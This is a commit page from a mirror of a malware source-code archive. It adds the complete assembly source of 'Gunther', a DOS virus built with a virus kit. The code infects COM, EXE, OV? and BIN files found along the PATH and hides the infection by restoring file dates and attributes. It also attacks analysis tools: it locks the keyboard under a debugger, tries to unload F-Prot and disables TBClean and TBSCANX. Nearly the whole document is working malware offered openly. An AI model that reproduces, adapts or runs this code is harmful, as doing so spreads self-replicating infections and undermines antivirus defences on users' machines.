mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,422 @@
|
||||
; 'Gunther': A Virus From the Virus Creation 2000 System
|
||||
; The Virus Creation 2000 System is Copywrited by John Burnette
|
||||
; All Rights Reserved.
|
||||
|
||||
; Author: Havoc The Chaos
|
||||
; Notes: F�r my lurv, Kiersten B.
|
||||
|
||||
; Greetings: Dark Angel, DecimatoR, Dark Avenger (You still out there?)
|
||||
; The Additude Adjuster, Mucho Mass, The Old Bit Truth Crew,
|
||||
; and virus writters (Except those who rely on kits and call
|
||||
; them original code) everywhere!
|
||||
|
||||
code segment byte public
|
||||
assume cs: code
|
||||
org 100h
|
||||
|
||||
id = '=-'
|
||||
|
||||
begin:
|
||||
call next ; Get Delta Offset
|
||||
next: pop bp
|
||||
sub bp, offset next
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
mov byte ptr [bp + lock_keys + 3], 244
|
||||
; Prefetch Cue Unchanged
|
||||
lock_keys:
|
||||
mov al, 128 ; Screws DEBUG
|
||||
out 21h, al ; If Tracing, Lock Keyboard
|
||||
|
||||
mov ax, 4653h ; Remove F-Prot Utils
|
||||
mov bx, 1
|
||||
mov cx, 2
|
||||
rep int 2Fh
|
||||
|
||||
|
||||
mov byte ptr cs:[tb_here][bp], 0 ; Reset TB Flag
|
||||
xor dx, dx
|
||||
mov ds, dx
|
||||
mov ax, word ptr ds:[6]
|
||||
dec ax
|
||||
mov ds, ax
|
||||
|
||||
mov cx, 0FFFFh ; CX = 64k
|
||||
mov si, dx ; SI = 0
|
||||
|
||||
look_4_tbclean:
|
||||
mov ax, word ptr ds:[si]
|
||||
xor ax, 0A5F3h
|
||||
je check_it ; Jump If It's TBClean
|
||||
look_again:
|
||||
inc si ; Continue Search
|
||||
loop look_4_tbclean
|
||||
jmp not_found ; TBClean Not Found
|
||||
|
||||
check_it:
|
||||
mov ax, word ptr ds:[si+4]
|
||||
xor ax, 0006h
|
||||
jne look_again
|
||||
mov ax, word ptr ds:[si+10]
|
||||
xor ax, 020Eh
|
||||
jne look_again
|
||||
mov ax, word ptr ds:[si+12]
|
||||
xor ax, 0C700h
|
||||
jne look_again
|
||||
mov ax, word ptr ds:[si+14]
|
||||
xor ax, 406h
|
||||
jne look_again
|
||||
|
||||
mov bx, word ptr ds:[si+17] ; Steal REAL Int 1 Offset
|
||||
mov byte ptr ds:[bx+16], 0CFh ; Replace With IRET
|
||||
|
||||
mov bx, word ptr ds:[si+27] ; Steal REAL Int 3 Offset
|
||||
mov byte ptr ds:[bx+16], 0CFh ; Replece With IRET
|
||||
|
||||
mov byte ptr cs:[tb_here][bp], 1 ; Set The TB Flag On
|
||||
|
||||
mov bx, word ptr ds:[si+51h] ; Get 2nd Segment of
|
||||
mov word ptr cs:[tb_int2][bp], bx ; Vector Table
|
||||
|
||||
mov bx, word ptr ds:[si-5] ; Get Offset of 1st Copy
|
||||
mov word ptr cs:[tb_ints][bp], bx ; of Vector Table
|
||||
|
||||
not_found:
|
||||
mov cx, 9EBh
|
||||
mov ax, 0FE05h
|
||||
jmp $-2
|
||||
add ah, 3Bh ; Hlt Instruction (Kills TD)
|
||||
jmp $-10
|
||||
|
||||
mov ax, 0CA00h ; Exit It TBSCANX In Mem
|
||||
mov bx, 'TB'
|
||||
int 2Fh
|
||||
|
||||
cmp al, 0
|
||||
je okay
|
||||
ret
|
||||
|
||||
okay:
|
||||
|
||||
mov ah, 47h
|
||||
xor dl, dl
|
||||
lea si, [bp+offset dir_buff+1] ; Save Original Directory
|
||||
int 21h
|
||||
|
||||
push es ; New DTA
|
||||
push ds
|
||||
mov ah, 1Ah
|
||||
lea dx, [bp+offset newDTA]
|
||||
int 21h
|
||||
|
||||
lea di, [bp+offset origCSIP2] ; Save For EXE
|
||||
lea si, [bp+offset origCSIP]
|
||||
mov cx, 4
|
||||
rep movsw
|
||||
|
||||
mov byte ptr [bp+numinfected], 0
|
||||
|
||||
mov ax, 3524h ; New INT 24h Handler
|
||||
int 21h
|
||||
mov ax, 2524h
|
||||
mov dx, offset Int24
|
||||
int 21h
|
||||
|
||||
traverse_path proc near
|
||||
|
||||
push bp
|
||||
pop bx
|
||||
mov es, word ptr cs:[2Ch] ; ES = Environment Segment
|
||||
xor di, di ; DI = Starting Offset
|
||||
|
||||
find_path:
|
||||
mov dx,'As'
|
||||
int 0F2h
|
||||
lea si,[bx + path_string] ; SI points to "PATH="
|
||||
lodsb ; Load First Byte in AL
|
||||
mov cx,08000h ; Check 32767 Bytes
|
||||
repne scasb ; Search Until The Byte Is Found
|
||||
mov cx,4 ; Check The Next Four Bytes
|
||||
|
||||
check_next_4:
|
||||
lodsb ; Load The Next Letter of "PATH="
|
||||
scasb ; Compare It To Environment
|
||||
jne find_path ; Get Another
|
||||
loop check_next_4 ; Keep Checking
|
||||
|
||||
mov word ptr [bx + path_ad], di ; Save The PATH Address
|
||||
mov word ptr [bx + path_ad + 2], es ; Save The PATH's Segment
|
||||
|
||||
lds si,dword ptr [bx + path_ad] ; DS:SI Points to PATH
|
||||
lea di,[bp - 70] ; DI = Work Buffer
|
||||
push cs
|
||||
pop es
|
||||
|
||||
move_subdir:
|
||||
lodsb ; Load Next Byte
|
||||
cmp al,';' ; Separator?
|
||||
je moved_one ; Yes, We're Done
|
||||
or al,al ; End of Path?
|
||||
je moved_last_one ; Yes, Quit Our Loop
|
||||
stosb ; Store Byte at ES:DI
|
||||
jmp short move_subdir ; Keep Transfering Characters
|
||||
|
||||
moved_last_one:
|
||||
xor si, si ; Clear Buffer
|
||||
moved_one:
|
||||
mov word ptr es:[bx + path_ad],si ; Store SI in the path address
|
||||
|
||||
cmp si, 0 ; Done?
|
||||
je done ; Done.
|
||||
|
||||
mov ah, 3Bh ; Change Directory
|
||||
lea dx, [bx + path_ad]
|
||||
int 21h
|
||||
|
||||
lea dx, [di + com_spec] ; Find COM Files
|
||||
call infect
|
||||
lea dx, [di + exe_spec] ; Find EXE Files
|
||||
call infect
|
||||
lea dx, [di + ovr_spec] ; Find OV? Files
|
||||
call infect
|
||||
lea dx, [di + bin_spec] ; Find Binary Files
|
||||
call infect
|
||||
jmp move_subdir ; Get Another Sub-Directory
|
||||
|
||||
done: ret
|
||||
|
||||
traverse_path endp
|
||||
pop ds ; Restore DTA
|
||||
pop es
|
||||
mov ah, 1Ah
|
||||
mov dx, 80h
|
||||
int 21h
|
||||
|
||||
cmp sp, id ; EXE?
|
||||
jne infect
|
||||
|
||||
restore_exe: ; Restore EXE
|
||||
mov ax, ds
|
||||
add ax, 10h
|
||||
add cs:[bp+word ptr origCSIP2+2], ax
|
||||
add ax, cs:[bp+word ptr origSPSS2]
|
||||
cli
|
||||
mov ss, ax
|
||||
mov sp, cs:[bp+word ptr origSPSS2+2]
|
||||
sti
|
||||
db 00EAh ; Jump To The Original Code
|
||||
origCSIP2 db ?
|
||||
old3_2 db ?,?,?
|
||||
origSPSS2 dd ?
|
||||
origCSIP db ?
|
||||
old3 db 0cdh,20h,0
|
||||
origSPSS dd ?
|
||||
|
||||
restore_com: ; Restore COM
|
||||
mov di, 100h
|
||||
push di
|
||||
lea si, [bp+offset old3_2]
|
||||
movsw
|
||||
movsb
|
||||
|
||||
return: ret ; Jump To Original Code
|
||||
|
||||
infect:
|
||||
mov cx, 7
|
||||
mov ah, 4Eh ; Find First File
|
||||
findfirstnext:
|
||||
int 21h
|
||||
jc return
|
||||
|
||||
cmp word ptr [bp+newDTA+33], 'AM' ; COMMAND.COM?
|
||||
mov ah, 4Fh
|
||||
jz findfirstnext ; Yes, So Get Another File
|
||||
|
||||
lea dx, [bp+newDTA+30] ; Get Attributes
|
||||
mov ax, 4300h
|
||||
int 21h
|
||||
jc return
|
||||
push cx ; Save Them
|
||||
push dx
|
||||
|
||||
mov ax, 4301h ; Clear Attributes
|
||||
push ax
|
||||
xor cx, cx
|
||||
int 21h
|
||||
|
||||
mov ax, 3D02h ; Open File, Read/Write
|
||||
lea dx, [bp+newDTA+30]
|
||||
int 21h
|
||||
xchg ax, bx
|
||||
|
||||
mov ax, 5700h ; Get File Time/Date
|
||||
int 21h
|
||||
push cx ; Save Time/Date
|
||||
push dx
|
||||
|
||||
mov ah, 3Fh
|
||||
mov cx, 1Ah ; Read Into File
|
||||
lea dx, [bp+offset readbuffer]
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h ; Move Pointer To End Of File
|
||||
xor cx, cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+offset readbuffer], 'ZM' ; EXE?
|
||||
jz checkexe
|
||||
|
||||
mov cx, word ptr [bp+offset readbuffer+1]
|
||||
add cx, heap-begin+3 ; CX = Filesize
|
||||
cmp ax, cx
|
||||
jz jmp_close ; Already Infected
|
||||
|
||||
cmp ax, 65535-(endheap-begin) ; Too Large To Infect?
|
||||
ja jmp_close
|
||||
|
||||
lea di, [bp+offset old3] ; Save First Three Bytes
|
||||
lea si, [bp+offset readbuffer]
|
||||
movsb
|
||||
movsw
|
||||
|
||||
mov cx, 3 ; Encoded Jump To Virus
|
||||
sub ax, cx
|
||||
mov word ptr [bp+offset readbuffer+1], ax
|
||||
mov dl, 0E9h
|
||||
mov byte ptr [bp+offset readbuffer], dl
|
||||
jmp short continue_infect
|
||||
|
||||
checkexe:
|
||||
cmp word ptr [bp+offset readbuffer+10h], id
|
||||
jnz skipp ; Not Infected, So Infect It
|
||||
|
||||
jmp_close:
|
||||
jmp close ; Infected, So Quit
|
||||
|
||||
skipp: lea di, [bp+origCSIP]
|
||||
lea si, [bp+readbuffer+14h]
|
||||
movsw ; Save CS and IP
|
||||
movsw
|
||||
|
||||
sub si, 0Ah ; Save SS and SP
|
||||
movsw
|
||||
movsw
|
||||
|
||||
push bx ; Filename
|
||||
mov bx, word ptr [bp+readbuffer+8] ; Header Size
|
||||
mov cl, 4
|
||||
shl bx, cl
|
||||
|
||||
push dx
|
||||
push ax
|
||||
|
||||
sub ax, bx ; File Size - Header Size
|
||||
sbb dx, 0
|
||||
|
||||
mov cx, 10h
|
||||
div cx
|
||||
|
||||
mov word ptr [bp+readbuffer+0Eh], ax ; SS
|
||||
mov word ptr [bp+readbuffer+10h], id ; SP
|
||||
mov word ptr [bp+readbuffer+14h], dx ; IP
|
||||
mov word ptr [bp+readbuffer+16h], ax ; CS
|
||||
|
||||
pop ax
|
||||
pop dx
|
||||
|
||||
add ax, heap-begin
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1
|
||||
|
||||
mov word ptr [bp+readbuffer+2], ax
|
||||
mov word ptr [bp+readbuffer+4], dx ; Fix Header
|
||||
|
||||
pop bx
|
||||
mov cx, 1Ah
|
||||
|
||||
continue_infect:
|
||||
|
||||
mov ah, 40h
|
||||
mov cx, heap-begin ; Add Virus To The End
|
||||
lea dx, [bp+offset begin]
|
||||
int 21h
|
||||
|
||||
mov ax, 4200h
|
||||
xor cx, cx ; Move Pointer To Beginning
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov ah, 40h
|
||||
mov cx, 1Ah ; Write Encoded Jump To Virus
|
||||
lea dx, [bp+offset readbuffer]
|
||||
int 21h
|
||||
|
||||
inc [bp+numinfected] ; Infection Good
|
||||
|
||||
close:
|
||||
mov ax, 5701h ; Set Orig Date and Time
|
||||
pop dx
|
||||
pop cx
|
||||
int 21h
|
||||
|
||||
mov ah, 3Eh ; Close File
|
||||
int 21h
|
||||
|
||||
pop ax ; Restore Attributes
|
||||
pop dx
|
||||
pop cx
|
||||
int 21h
|
||||
|
||||
cmp [bp+numinfected], 5
|
||||
jae bye
|
||||
mov ah, 4Fh ; No, So Find Another File
|
||||
jmp findfirstnext
|
||||
|
||||
mov ax, 2524h ; New INT 24h Handler
|
||||
pop dx
|
||||
pop ds
|
||||
int 21h
|
||||
|
||||
mov ah, 3Bh ; Function: Change Directory
|
||||
lea dx, [bp+dir_buff] ; Restore Current Directory
|
||||
int 21h ; Execute Function
|
||||
|
||||
bye: ret
|
||||
|
||||
Int24: mov ax, 3 ; Error Handling
|
||||
iret
|
||||
|
||||
|
||||
exe_spec db '*.EXE',0 ; EXE Filespec
|
||||
ovr_spec db '*.OV?',0 ; OV? Filespec
|
||||
bin_spec db '*.BIN',0 ; BIN Filespec
|
||||
com_spec db '*.COM',0 ; COM Filespec
|
||||
path_string db "PATH=" ; The PATH String To Search For
|
||||
|
||||
heap:
|
||||
donebin db 0
|
||||
dir_buff db 64 dup (0) ; Current Dir Buffer
|
||||
newdta db 43 dup (?) ; New Disk Transfer Access
|
||||
numinfected db ? ; Number Of Files Infected
|
||||
path_ad dd ? ; Holds The PATH's Address
|
||||
tb_ints dd 0
|
||||
tb_int2 dd 0
|
||||
tb_here db 0
|
||||
readbuffer db 1ah dup (?)
|
||||
endheap:
|
||||
|
||||
code ends
|
||||
end begin
|
||||
Reference in New Issue
Block a user